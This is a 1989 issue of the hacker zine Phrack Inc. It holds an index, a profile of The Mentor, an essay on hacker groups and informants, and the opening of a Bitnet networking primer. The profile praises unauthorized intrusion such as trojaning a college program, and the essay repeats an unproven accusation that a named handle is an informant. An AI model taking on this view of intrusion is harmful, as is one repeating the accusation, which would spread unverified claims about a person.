Sergei Abramov of the Soviet Academy of Sciences claims they have developed a protective system, PC‑shield, that protects Soviet computers against known virus strains. It has been tested on IBM computers in the Soviet Union. "This protective system has no counterpart in the world," he said (although the details remain a state secret).

________________________________________

Phrack World News Quicknotes Issue XXII

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Rumor has it that the infamous John Draper aka Captain Crunch is currently running loose on the UUCP network. Recently, it has been said that he has opened up some sort of information gateway to Russia, for reasons unknown.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2. Information Available For A Price

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A company called Credit Checker and Nationwide SS says that anyone can; o Take a lot of risk out of doing business.

o Check the credit of anyone, anywhere in the United States o Pull Automobile Drivers License information from 49 states o Trace people by their Social Security Number

By "Using ANY computer with a modem!"

To subscribe to this unique 24‑hour on‑line network call 1‑800‑255‑6643.

Can your next door neighbor really afford that new BMW ?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3. Reagan Signs Hearing‑Aid Compatibility Bill

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There is new legislation recently passed which requires all new phones to be compatible with hearing aids by next August. The law requires a small device to be included in new phones to eliminate the loud squeal that wearers of hearing aids with telecoils pick up when using certain phones. Importers are not exempted from the law. Cellular phones and those manufactured for export are exempt.

________________________________________

========================================

23

- Phrack Inc. XXIII Index by Taran King & Knight Lightning

- Phrack Prophile XXIII Featuring The Mentor by Taran King

- Subdivisions (Part 3 of The Vicious Circle Trilogy) by Knight Lightning

- Utopia; Chapter One of FTSaga by Knight Lightning

- Foundations On The Horizon; Chapter Two of FTSaga by Knight Lightning

- Future Trancendent Saga Index A from the Bitnet Services Library by unknown

- Future Trancendent Saga Index B from the Bitnet Services Library by unknown

- Getting Serious About VMS Hacking by VaxBuster

- Can You Find Out If Your Telephone Is Tapped? by Fred P. Graham & VaxCat

- Big Brother Online by Thumpr

- Phrack World News XXIII Part 1 by Knight Lightning

- Phrack World News XXIII Part 2 by Knight Lightning

Phrack Inc. XXIII Index

==Phrack Inc.==

Volume Two, Issue 23, File 1 of 12

Phrack Inc. Newsletter Issue XXIII Index

~~~~~~~~~~~~~~~~~~~~~

January 25, 1989

Greetings once again! Before we really get into the issue, we here at Phrack Inc. would like to address some of the questions and comments we've been hearing lately about the last issue of Phrack Inc.

When we heard that people were having trouble using the Unix Password Hacking Program, we decided to contact the creator and were given this response:

"My password hacker will compile on anything. I have had it running on Xenix, Unix System V 3.1 and BSD 4.3. It sounds as if someone may not know what they are doing. I will put money on it working well on any flavor of Unix."

Now as far as Red Knight's Unix file and The Mentor's Beginning Hackers Guide, we had absolutely no idea that those files had also been submitted to P/HUN and were being distributed. The file on the Internet Worm was a Bitnet release that we felt was a good enough piece of information that it should be publicized. Readers may wish to make a note that Volume 5, Number 4 of 2600 Magazine also has re‑released the Internet Worm article and Red Knight's file on Hacking Unix.

In this issue, note the final chapter of the Vicious Circle Trilogy as well as the beginning of the Future Transcendent Saga, both written and created by Knight Lightning. Look for the third and fourth chapters of the FTSaga in Issue 24 of Phrack Inc.

Any writers with unreleased files wishing to submit them to Phrack Inc. may send them to us via The Prophet or if you have access to a network that interfaces with Bitnet, send them to either of our addresses listed below. By the same token, anyone on the Bitnet accessible networks, MCI Mail, or GTE Telemail who would like Phrack Inc. delivered to their accounts should contact us.

Knight Lightning & Taran King

(C483307@UMCVMB) (C488869@UMCVMB)

________________________________________

Table of Contents:

1. Phrack Inc. XXIII Index by Knight Lightning & Taran King

2. Phrack Prophile XXIII Featuring The Mentor by Taran King

3. Subdivisions (Part 3 of The Vicious Circle Trilogy) by Knight Lightning 4. Utopia; Chapter One of FTSaga by Knight Lightning

5. Foundations On The Horizon; Chapter Two of FTSaga by Knight Lightning 6. Future Trancendent Saga Index A from the Bitnet Services Library 7. Future Trancendent Saga Index B from the Bitnet Services Library 8. Getting Serious About VMS Hacking by VAXBusters International 9. Can You Find Out If Your Telephone Is Tapped? by Fred P. Graham (& VaxCat) 10. Big Brother Online by Thumpr (Special Thanks to Hatchet Molly) 11‑12. Phrack World News XXIII by Knight Lightning

Phrack Prophile XXIII Featuring The Mentor

==Phrack Inc.==

Volume Two, Issue 23, File 2 of 12

==Phrack Pro‑Phile XXIII==

Created and Written by Taran King

Done on January 18, 1989

Welcome to Phrack Pro‑Phile XXII. Phrack Pro‑Phile was created to bring information to you, the community, about retired or highly important/ controversial people. This issue, we bring you a user and sysop having great contributions through his boards, articles published, and general phreak/hack activity...

The Mentor

~~~~~~

Handle: The Mentor

Call Him: Loyd

Past Handles: An article for Phrack written as The Neuromancer for (then present) security reasons.

Handle Origin: The Grey Lensman series by E.E. 'Doc' Smith

Date Of Birth: 1965

Current Age: 23

Height: 5' 10"

Weight: 200 lbs.

Eye Color: Brown

Hair Color: Brown

Computers: (In order of owning...) TRS‑80, Apple //e, Amiga 1000, PC/AT

Sysop: The Phoenix Project (512‑441‑3088)

Origins in Phreak/Hack World: When he was 13, a friend's father who was a professor at a local university gave him accounts to use on one of the PDP 11/70s at the school. This was his first introduction to mainframes, and he was hooked. He continued to use the University's equipment through junior high and high school, upgrading to a DEC‑10 and then finally a VAX 8600.

Needless to say, since he wasn't a student, acquiring accounts to use was sometimes tricky, so he began to write fake front ends, trojan horses, and other hacker utilities. Loyd's interest in hacking grew from this to the point where he wanted to get into *everything* instead of just his local systems.

Origins in Phreak/Hack BBSes: He was involved in the pirate boards from about 1982 on, during which time many of them doubled as phreak boards. From some of these, he got the number for Sherwood Forest and P‑80, at which point he started calling out.

People in the Phreak/Hack World Met: ANI Failure, Android Pope, Bad Subscript, Control C, Crimson Death, The Dictator, Doom Prophet, Erik Bloodaxe, Ferrod Sensor, Forest Ranger, Hatchet Molly, Knight Lightning, The Leftist, Lone Wolf, Lucifer 666, Phantom Phreaker, Phase Jitter, Phlash Gordon, Phrozen Ghost, The Protestor, Surfer Bob, Taran King, Terminal Technocrat, Tuc, The Ubiquitous Hacker, The Urvile/Necron 99.

Experience Gained in the Following Ways: Hacking. You can read all the gfiles in the world, but unless you actually go out and hack, you're going to remain a novice. Getting in systems snowballs. It may take you a while to get in that first one, but after that it becomes easier and easier.

Knowledge Attributed To: All the people who were willing to help him when he was starting out plus actual hands‑on experience.

Memorable Phreak/Hack BBSes: Sherwood Forest, The Protestor's Shack, Metal Shop (when it first went private), Stalag‑13, Catch‑22, Hacker's Hideout, Arisia, The Phoenix Project, Tuc's Board ‑ RACS III (LOGONIT)

Work/Schooling (Major): BS in Computer Science, work as a graphics programmer.

Conventions/Involvements Outside of Phone Calls: Nationally ranked saber fencer in 1985 & 1986, serious science‑fiction collector & role‑playing gamer, play guitar, bass, and keys in various bands.

Accomplishments (Newsletters/Files/Etc.): He's written at least half a dozen files for Phrack, and has had articles in the LOD/H Technical Journal, P/HUN newsletter, and has written the always‑popular Hackin' Off column in Thrasher on a few occasions.

Phreak/Hack Groups: Currently an active member of the Legion of Doom/Legion of Hackers, formerly a member of the PhoneLine Phantoms, The Racketeers, and Extasyy Elite (gag.)

Busts: Being busted led to his retirement for around one year. He thinks everyone ought to take some time off: It helps put all this in perspective.

Interests: VAX computers, packet switched nets, and computer graphics.

Favorite Things: His wife, my cat, Chinese food, the blues, jazz, high‑prived UUCP accounts, unpassworded accounts, DCL, Modula‑2, double‑buffering, Stevie Ray Vaughn

Most Memorable Experiences: Getting married (6 months now!), getting pulled out of a political science class and dragged down to jail, dragging Control C away from drawing LMOS diagrams for a bunch of drunk high school girls, SummerCon in general, Knight Lightning jumping up on a bed and yelling "Teletrial!," carrying on a 45 minute conversation on blue boxing & phreaking in general with a guy at the gym where he works out, then finding out he's in charge of security for my local telco, trojaning the Star Trek program on his college's DEC‑10 so that everyone who ran it executed my fake front end program next time they logged in...

Some People to Mention: Android Pope‑ He's got to have *someone* to get into

trouble with!

Erik Bloodaxe‑ see above. Compuphreak‑ For helping him get started &

answering a lot of dumb questions (ok,

explain this diverter thingy to me

again...)

The Maelstrom‑ see above. The Urvile‑ d00d.

INSIDE JOKES: "Do you think it's a good idea to do this before we get on the plane?", "Gosh, I wish people would find somewhere else to dispose of their phlegm.", "Hi, you must be Dan. Take these.", "If I get busted, I'm going to burn down your house with you and your entire family inside.", "Trust me. You need another beer.", "This hall seems like it goes on forever!", "It was nice of them to box this stuff up for us!", "All of you! Out! Now!", "Surely you aren't going to touch that girl?", "If they stop us, we shoot them and drive to New York and change identities. It's foolproof.", "You really want to talk phones?", "I can't believe you made him cry. That's sad.", "Mr. Letterman?", "Do you speak DCL?", "No you idiot, GERMANY!!!!", "Now see, you do this, then type this, and boom! Codes for days.", "Ma'm, I'm sorry to tell you this, but your son is a computer criminal.", "How much for the rocket launcher? Is that with or without ammo?", "By now you've guessed, you've been had.", "Well, if you're going to be working at the jail, maybe you can help them out with their computers.", "No, she really wants us both!", "What's in the briefcase?", "It's my older brother's gun, officer.", "Bell Communications Research presents...", "I'll pay you $500 for the last four digits of his phone number. Just give me a hint."

Are Phreaks/Hackers you've met generally computer geeks? Strangely enough, the better ones he's met aren't, but a lot of the posers are.

Thanks for your time Loyd...

TARAN KING

Subdivisions (Part 3 of The Vicious Circle Trilogy)

==Phrack Inc.==

Volume Two, Issue 23, File 3 of 12

<><><><><><><><><><><><><><><><><

<>

<> Subdivisions <>

<> ~~~~~~~

<> Part Three Of The Vicious Circle Trilogy <>

<>

<> A Study On The Occurrence Of Groups Within The Community <>

<>

<> Presented by Knight Lightning <>

<> August 8, 1988 <>

<>

<><><><><><><><><><><><><><><><><

A Rose By Any Other Name... Would Smell As Sweet

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

The Administration \ Advanced Telecommunications, Inc./ATI ALIAS \ American Tone Travelers \ Anarchy Inc. \ Apple Mafia The Association \ Atlantic Pirates Guild/APG \ Bad Ass Mother Fuckers/BAMF Bellcore \ Bell Shock Force/BSF \ Black Bag \ Camorra \ C&M Productions Catholics Anonymous \ Chaos Computer Club \ Chief Executive Officers/CEO Circle Of Death \ Circle Of Deneb \ Club X \ Coalition of Hi‑Tech Pirates/CHP Coast‑To‑Coast \ Corrupt Computing \ Cult Of The Dead Cow/‑cDcCustom Retaliations \ Damage Inc. \ D&B Communications \ The Dange Gang Dec Hunters \ Digital Gang/DG \ DPAK \ Eastern Alliance The Elite Hackers Guild \ Elite Phreakers and Hackers Club The Elite Society Of America \ EPG \ Executives Of Crime \ Extasyy (Elite) Fargo 4A \ Farmers Of Doom/FOD \ The Federation \ Feds R Us \ First Class Five O \ Five Star \ Force Hackers \ The 414s \ Hack‑A‑Trip Hackers Of America/HOA \ High Mountain Hackers \ High Society \ The Hitchhikers IBM Syndicate \ The Ice Pirates Imperial Warlords \ Inner Circle Inner Circle II \ Insanity Inc. International Computer Underground Bandits/ICUB \ Justice League of America/JLA Kaos Inc. \ Knights Of Shadow/KOS \ Knights Of The Round Table/KOTRT League Of Adepts/LOA \ Legion Of Doom/LOD \ Legion Of Hackers/LOH Lords Of Chaos \ Lunitic Labs, Unlimited \ Master Hackers \ MAD! The Marauders \ MD/PhD \ Metal Communications, Inc./MCI MetalliBashers, Inc./MBI \ Metro Communications \ Midwest Pirates Guild/MPG NASA Elite \ The NATO Association \ Neon Knights \ Nihilist Order Order Of The Rose \ OSS \ Pacific Pirates Guild/PPG \ Phantom Access Associates PHido PHreaks \ Phlash \ PhoneLine Phantoms/PLP Phone Phreakers Of America/PPOA \ Phortune 500/P500 Phreak Hack Delinquents \ Phreak Hack Destroyers Phreakers, Hackers, And Laundromat Employees Gang/PHALSE Gang Phreaks Against Geeks/PAG \ Phreaks Against Phreaks Against Geeks/PAP Phreaks and Hackers of America \ Phreaks Anonymous World Wide/PAWW Project Genesis \ The Punk Mafia/TPM \ The Racketeers Red Dawn Text Files/RDTF \ Roscoe Gang \ SABRE \ Secret Circle of Pirates/SCP Secret Service \ 707 Club \ Shadow Brotherhood \ Sharp Inc. \ 65C02 Elite Spectral Force \ Star League \ Stowaways \ Strata‑Crackers \ The Phrim Team Hackers '86 \ Team Hackers '87 \ TeleComputist Newsletter Staff Tribunal Of Knowledge/TOK \ Triple Entente \ Turn Over And Die Syndrome/TOADS 300 Club \ 1200 Club \ 2300 Club \ 2600 Club \ 2601 Club \ 2AF \ Ware Brigade The Warelords \ WASP \ The United Soft WareZ Force/TuSwF United Technical Underground/UTU

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Its literally unbelievable just how many different groups and organizations there are or have been in the phreak/hack/pirate community. The list of 130 groups displayed above is probably still just a fraction of the actual amount of groups that there have been, but those are the only ones I am aware of at this time.

In the past John Maxfield has estimated that there are about 50,000 hackers/phreaks/pirates operating in the United States today. That figure has multiplied to to a point where it probably comes close to 500,000. Believe it or not, almost everyone has been a member of one of the above groups (or perhaps a group not mentioned) at one time or another.

Today's telecom security consultants and law enforcement agencies know this too and that is how group affiliations can be turned against us.

What does being in a group mean? In the modem community being in a group is supposed to mean that the people in the group work on projects together and trade specific information that people outside of the group are not allowed to access and by the same token, have no way to get it. However, obviously the people in the group all feel that the other people with whom they are sharing information, can be trusted and are worthy of associating with them to begin with. So when you stop and think about it, if there was no group, the people in question would still be trading information and would still trust each other because they would not have formed the group unless this criteria was met in the first place. So in truth, being in a group really means nothing on the basis previously mentioned.

You see in the modem community, being in a group really is more like a power trip or a "security blanket" for people who feel that they need to let people know that they associate with a specific clique in the hopes that the popularity of some of the other members will lend popularity to themselves.

Many groups form in such a way that they try to make it look otherwise and thus begins the real problem. Some groups are formed by a person who tries to get a lot of guys together that he feels knows a lot or seems to post a lot of good information ‑ Bad Move; If you are going to form a group at all, stick with people who you know can be trusted (can you really ever "know" who can be trusted?) and then out of those people form your group or choose who you feel should be in it.

Anyway, to prove that they are elite, most groups begin to gather specific data for giving to group members, and this includes handing out their own names and phone numbers with other members of the group. They feel a false loyalty and psychologically create such utter faith in all the members that the faith is ultimately blind and based on hopes and aspirations of greatness.

What is the best way for a security agent or informant to blend in with the modem community? Join as many groups as possible, start gathering data on the members, and spread your handle throughout the community to become "well known."

Example: Taken From Phrack World News Issue XV;

[This article has been edited for this presentation. ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Mad Hatter; Informant? July 31, 1987

~~~~~~~~~~~~~~~~~~~~~~

We at Phrack Inc. have uncovered a significant amount of information that has led us to the belief that Mad Hatter is an informant for some law enforcement organization.

When Taran King, Cheap Shades, Forest Ranger, and Knight Lightning arrived at Control C's in Chicago, Illinois, Mad Hatter had already searched the place and had found some papers that could only have done ^C harm. We destroyed this information and thought everything was ok. However, as it turns out, we searched Mad Hatter's bags and found a duplicate set of this information and the general hypothesis was they he intended to leave it behind as incriminating evidence.

Mad Hatter had also brought down several disks for the purpose of copying Phantasie Realm. Please note; PR was an IBM program and MH has an apple.

Control C told us that when he went to pick Mad Hatter up at the bus terminal, he watched the bus pull in and saw everyone who disembarked. Suddenly Mad Hatter was there, but not from the bus he was supposed to have come in on. In addition to this, he had baking soda wrapped in a five dollar bill that he tried to pass off as cocaine. Perhaps to make us think he was cool or something.

Mad Hatter constantly tried to get left behind at ^C's apartment for unknown reasons. He also was seen at a neighbor's apartment making unauthorized calls into the city of Chicago. When asked who he called, his reply was "Don't worry about it." Mad Hatter had absolutely no money with him during PartyCon (and incidentally he ate everything in ^C's refrigerator) and yet he insisted that although he had taken the bus down and had return trip tickets for the bus, that he would fly back home. How was this going to be achieved? He had no money and even if he could get a refund for the bus tickets, he would still be over $200 short. When asked how he was going to do this, his reply was "Don't worry about it."

On Saturday night while on the way to the Hard Rock Cafe, Mad Hatter asked Control C for the location of his computer system and other items 4 times. This is information that Hatter did not need to know, but perhaps a SS agent or someone could use very nicely.

When Phrack Inc. discovered that Dan The Operator was an FBI informant and made the news public, several people were criticizing him on Free World II Private. Mad Hatter on the other hand, stood up for Noah and said that he was still his friend despite what had happened. Then later when he realized that people were questioning his legitimacy, his original posts were deleted and he started saying how much he wanted to kill Dan The Operator and that he hated him.

Mad Hatter already has admitted to knowing that Dan The Operator was an FBI informant prior to SummerCon '87. He says the reason he didn't tell anyone is because he assumed we already knew.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

When Mad Hatter first entered the phreak/hack world, he joined;

Phreaks Anonymous World Wide (PAWW), MetalliBashers, Inc (MBI), Order of The Rose, and Cult of The Dead Cow (‑cDc‑).

If you were a security agent or a loser hacker turned informant and you wanted to mix in with the phreak/hack community, wouldn't you try to join as many groups as possible to spread your name?

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Phreaks Anonymous World Wide, MetalliBashers, Inc., Order of The Rose, and Cult of The Dead Cow, not exactly the toughest groups to join and once there is one security person in the group, he is bound to vouch for others, etc. So while he spreads his name as an elite modem user throughout the community, he is busy gathering information on group members who are foolish enough to trust him.

Its not bad enough that some groups are easy enough to infiltrate as it is, but does anyone remember this?

Taken From Phrack World News Issue XI;

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Phortune 500: Phreakdom's Newest Organization February 16, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For those of you who are in the least bit interested, Phortune 500 is a group of telecommunication hobbyists who's goal is to spread information as well as further their own knowledge in the world of telecommunications. This new group was formed by:

Brew Associates / Handsomest One / Lord Lawless / The Renegade Chemist Quinton J. Miranda / Striker / The Mad Hacker / The Spiker

These eight members are also known as Board Of Directors (BOD). They don't claim to be *Elite* in the sense that they are they world's greatest hacker, but they ARE somewhat picky about their members. They prefer someone who knows a bit about everything and has talents exclusive to him/herself.

One of the projects that Phortune 500 has completed is an individual password AE type system. It's called TransPhor. It was written and created by Brew Associates. It has been Beta tested on The Undergraduate Lounge (Sysoped by Quinton J. Miranda). It is due to be released to the public throughout the next few months.

Phortune 500 has been in operation for about 4 months, and has released two newsletters of their own. The Phortune 500 Newsletter is quite like the "People" of contemporary magazines. While some magazines cover the deep technical aspects of the world in which we communicate, their newsletter tries to cover the lighter side while throwing in information that they feel is "of technical nature." The third issue is due to be released by the end of this month.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

*>=‑> The Phortune 500 Membership Questionnaire <‑=<*

Note: The following information is of a totally confidential nature. The reason you may find this so lengthy and in depth is for our knowledge of you. We, with Phortune 500, feel as though we should know prospective members well before we allow them into our organization. Pending the answers you supply us, you will be admitted to Phortune 500 as a charter member. Please answer the following completely...

........................................

Handle :

First Name :

Voice Phone Number :

Data Phone Number :

City & State :

Age :

Occupation (If Applicable) :

Place of Employment (Optional) :

Work Phone Number (Optional) :

Computer Type :

Modem Type :

Interests :

Areas Of Expertise :

References (No More Than Three) :

Major Accomplishments (If Any) :

........................................

Answer In 50 Words Or Less;

^*^ What Is Phortune 500 in Your Opinion?

^*^ Why Do You Want To Be Involved With Phortune 500?

^*^ How Can You Contribute to Phortune 500?

........................................

Please answer each question to the best of your ability and then return to any Phortune 500 Board of Directors Member Or a Phortune 500 BBS:

The Private Connection (Limited Membership) 219‑322‑7266 The Undergraduate AE (Private Files Only) 602‑990‑1573

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

An actual application form for joining a group. Perhaps the concept was a good one, perhaps not, but from a standpoint of publicity and security, this was a complete and utter catastrophe.

Basically we are all here to learn in one way or another. Groups and clubs in our community only seem to segregate it and at a time when everyone should be pulling together, this is not such a good idea. Privacy and security are important factors that motivate these sects within the society, but ultimately are the final consequences worth the trouble of creating a group?

If groups had not been created, there would not be as much attention on the phreak/hack community as there is right now. When group names start spreading, it starts the law enforcement agencies into a panic that its big time organized crime. This allows them to justify more time and money into the apprehension of computer criminals and usually they go after the big names; the people in the most "elite" groups.

Now before you, a member of a group, start criticizing this file, please understand, I am not referring to any particular groups here, just groups in general. Any and all comments made about MBI, ‑cDc‑, PAWW, OOTR, and P500 should not be taken personally and were used only as examples of how groups can be potential security problems.

There are some groups that are worthwhile organizations and its obvious because that have existed through the years and been productive. However, the only way to keep this community alive is for everyone to work together to protect and learn from each other.

:Knight Lightning

"The Future Is Now"

Utopia; Chapter One of FTSaga

==Phrack Inc.==

Volume Two, Issue 23, File 4 of 12

<><><><><><><><><><><><><><><><><

<>

<> Utopia <>

<> ~~~~

<> Chapter One of The Future Transcendent Saga <>

<>

<> An Introduction To The World Of Bitnet <>

<>

<> Presented by Knight Lightning <>

<> January 1, 1989 <>

<>

<> Special Thanks To Jester Sluggo <>

<>

<><><><><><><><><><><><><><><><><

Welcome To The Next MILLENNIUM Of The Communications Realm

The Future is NOW!

As most people will agree, college and university computers are the easiest to gain access to, both legally and illegally. Bitnet is only one of the many interconnected wide area networks, but I felt that it was the most important to discuss because all major colleges and universities are connected by it and as such creating an almost utopian society for the technologically inclined. It's free, legal, and world encompassing ‑‑ anything that incorporates "free" with "legal" and is useful has to hold some sort of perfection and thus the name of this file.

For the people already on Bitnet, this file may seem somewhat basic and most likely contains information that you are thoroughly aware of, but you never w know what a little extra reading might lead you to discover. Once again welcome to the future... a future where limits are unknown.

:Knight Lightning

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Origin Of BITNET

~~~~~~~~~~~

by Jester Sluggo

In 1981, the City University of New York (CUNY) surveyed universities on the east coast of the United States and Canada, inquiring whether there was interest in creating and easy‑to‑use, economical network for interuniversity communication between scholars. The response was positive. Many shared the CUNY belief in the importance of computer‑assisted communication between scholars. The first link of the new network, called Bitnet, was established between CUNY and Yale University in May 1981. The term BITNET is an acronym that stands for "Because It's Time NETwork."

The network technology chosen for Bitnet was determined by the availability of the RSCS software on the IBM computers at the initial sites. The RSCS is simple and effective, and most IBM VM/CMS computer systems have it installed for local communications, supporting file transfer and remote job entry services. The standard Bitnet links are leased telephone lines running 9600 bps. Although the initial nodes were IBM machines in university computers centers, the network is in no way restricted to such systems. Any computer with an RSCS emulator can be connected to Bitnet. Emulators are available for Digital Equipment Corporation VAX/VMS systems, VAX‑UNIX systems, and for Control Data Corporation Cyber systems and others. Today, more than one‑third of the computers on Bitnet are non‑IBM systems.

There is also some talk in the Bitnet scientific community of a merger between Bitnet and CSnet (Computer Science Network). It is unknown when or if such a merger will take place, but it is only a step in the right direction.

Note: NetNorth is the Canadian division of Bitnet and EARN is the European division of Bitnet. They are all directly connected and together serve as one network and not three. It is often referred to as BITNET/NetNorth/EARN.

________________________________________

The Basics Of Bitnet

~~~~~~~~~~~~~~~~~~~~

In order to make any sense out of this file, you should first have a basic understanding of mainframes and userids, etc. Since most readers of Phrack are computer enthusiasts, there is a pretty good chance that you understand these things already. If not, you may want to find documentation on the topic. The Mentor's Beginning Hackers Guide, which was published in Phrack Inc. XXII contains some information that might help you. The concepts presented in this file are not terrible difficult to understand, but you should not jump into this totally unprepared either.

You should also be a little familiar with the type of hardware and operating system you will be using. Most IBM systems in Bitnet run VM/CMS. The Digital Equipment Corporation (DEC) VAX systems usually run an operating system called VMS along with a software package called JNET which allows them to communicate via Bitnet. I will be referring to VM/CMS and VMS/JNET throughout this file. I myself currently use an IBM 4381 that runs VM/CMS and thus I am much more familiar with that type of system.

Try to think of the mainframe as the telephone and Bitnet as the telephone lines. You see, the mainframe you log onto is connected to mainframes at other universities and institutions. The connection is usually a high‑speed leased line, a special sort of telephone connection. In a way, these computers are always on the phone with each other (except when links go down, discussed in the section on MESSAGES). This particular network is what is known as a "store and forward" network. This means that if I send something to someone in Los Angeles, the computers in the network between New York and California will store and forward it from computer to computer until it reaches it's destination.

In Bitnet, there is only one way from "Point A" to "Point B." A small piece of the network might look like this:

‑‑‑ ‑‑‑ ‑‑‑

| A |‑‑| B |‑‑| C |

‑‑‑ ‑‑‑ ‑‑‑

|

‑‑‑ ‑‑‑ ‑‑‑

| D |‑‑| E |‑‑| F |‑‑| G |‑‑| H |

‑‑‑ ‑‑‑ ‑‑‑

|

‑‑‑ ‑‑‑

| I |‑‑| J | | K |‑‑| L |

‑‑‑ ‑‑‑

‑‑‑

| M |‑‑| N |‑‑| O |‑‑| P |

‑‑‑

Those boxes represent computers in the network, and the dashes between them are the leased lines. If I am at computer "A" and I send a file to someone at computer "N" it would travel the following path:

A‑B‑D‑E‑F‑G‑K‑N

Actual topology maps are available for download from LISTSERV@BITNIC, but we will be discussing servers later in this file. Like I mentioned before, there is only one route between any two nodes and there is simply no way to bypass a disconnected link.

Each of the computers in BITNET is called a "node" and has a unique name that identifies it to the other nodes. For example, one of the mainframe computers at the University Of Missouri‑Columbia has the nodename UMCVMB. So what does that mean exactly? Well in this case, UMC comes from the name of the school, VM comes from the Virtual Memory operating system, and B is just an alpha‑numerical identifier. At one time there was a UMCVMA, but that system was taken down a couple of years ago. One thing to note here is that although this particular node can be broken down into its parts, many nodes do not follow this pattern and some nodes have "aliases." An alias is just another name for the node and both names are recognized by all Bitnet facilities. An example of this is STANFORD. The nodes STANFORD and FORSYTHE are the same place so...

CYPHER@STANFORD = CYPHER@FORSYTHE

Your userid in combination with the name of your node is your "network address." It is usually written in the format userid@node (read "userid at node"). For example, the name of my node is UMCVMB, and my userid is C483307. Therefore, my network address is C483307@UMCVMB. If I know the userid@node of someone in the network, I can communicate with that person, and he/she can communicate with me. I have found many interesting people on the networks. Making use of the direct chatting capabilities of Bitnet I am able to talk to them in "real‑time." You can do this too, all you need to know are a few commands. This is explained in part two.

Messages

~~~~~~~~

There are three basic methods of communicating via Bitnet: MAIL, MESSAGE, and FILE. The reason you would choose one over the other for a particular application will become clear after a little explanation.

The MESSAGE is the fastest and most convenient method of communication available through Bitnet. It is the network's equivalent of a telephone conversation. The difference of course is that the words are typed instead of spoken. The message you type is transmitted immediately (well, quickly) to its destination. In BITNET this destination is the network address (userid@node) of the person you want to contact. If the person you are contacting is logged on, the message will be displayed on their screen. If not, their computer will tell you so by sending you a message. In this case, your message is lost forever. In other words, no one is there to answer the phone. However, many people run a program called GONE (and there are other similar programs) which acts like an answering machine and holds your message until they log on. Some universities do not allow this program because it uses a lot of CPU time. If your school or mainframe does not allow it, do not try to sneak its use, because it is very easy to detect.

One important thing to mention is that not all nodes allow interactive chat. Some nodes are simply not advanced enough for it and you will a receive a message telling you this whenever you try to chat with them. However, this situation is less common.

The command to send messages depends on your computer and system software. People on VM/CMS systems would type something like this:

TELL userid AT node message OR TELL userid@node message

For example:

TELL MENTOR AT PHOENIX Hey, whats new on The Phoenix Project?

+‑‑‑‑‑ +‑‑‑‑‑‑ +‑‑‑‑‑‑‑‑‑‑‑

| | |

| | +‑‑‑‑‑‑‑‑‑‑‑the message you are sending

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the node of the recipient

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the userid of the recipient

People on VAX/VMS systems using the JNET networking software would use this syntax:

SEND userid@node "message"

For example:

SEND MENTOR@PHOENIX "Hey, whats new on The Phoenix Project?"

+‑‑‑‑‑ +‑‑‑‑‑‑ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑the message you are sending

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the node of the recipient

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the userid of the recipient

The quotes around the message are optional. However, the JNET networking for VAX/VMS will translate your entire message into upper‑case characters if you DO NOT use them. Many people find receiving messages in all upper case to be extremely annoying.

For more information on the TELL and SEND commands, you should consult your local system documentation.

When a message arrives on your screen, it will look something like this:

FROM PHOENIX(MENTOR): Hello! Things are great here, you?

Unfortunately there is a downside to everything and Bitnet Messages are no exception. Text sent by message must be short. In general, your message length can be one line, about the width of your screen. In other words, you won't be sending someone a copy of Phrack World News via the TELL command.

Also, you can only communicate with someone in this way when they are logged on. Considering time zone differences (you may find yourself talking to people in Europe, Israel, or Australia) this is often quite inconvenient.

Lastly, there is the problem of links that I call LinkDeath. If the connection to the node you want to contact is broken (by for example, a disconnected phone line), you'll receive an error message and whatever you sent is gone. This can be very annoying if it should occur during a conversation. The LinkDeath may last a few minutes or several hours. Often times, a link will go down for the weekend and you are simply out of luck. Even worse is when it is the link that connects your mainframe to rest of Bitnet... you are cut off.

However, messages are very far from useless. As I will demonstrate in chapter two, TELL and SEND are extremely helpful in accessing the many servers on Bitnet.

Files

~~~~~

FILES are another way to communicate over Bitnet. The text files and programs that you store on your computer can be transmitted to users at other nodes. This is one of the methods that I use to distribute Phrack issues across not only the country, but the world. People on VM/CMS systems would use a syntax like this:

SENDFILE filename filetype filemode userid AT node

For example:

SENDFILE PHRACK TEXTFILE A PROPHET AT PHRACKVM

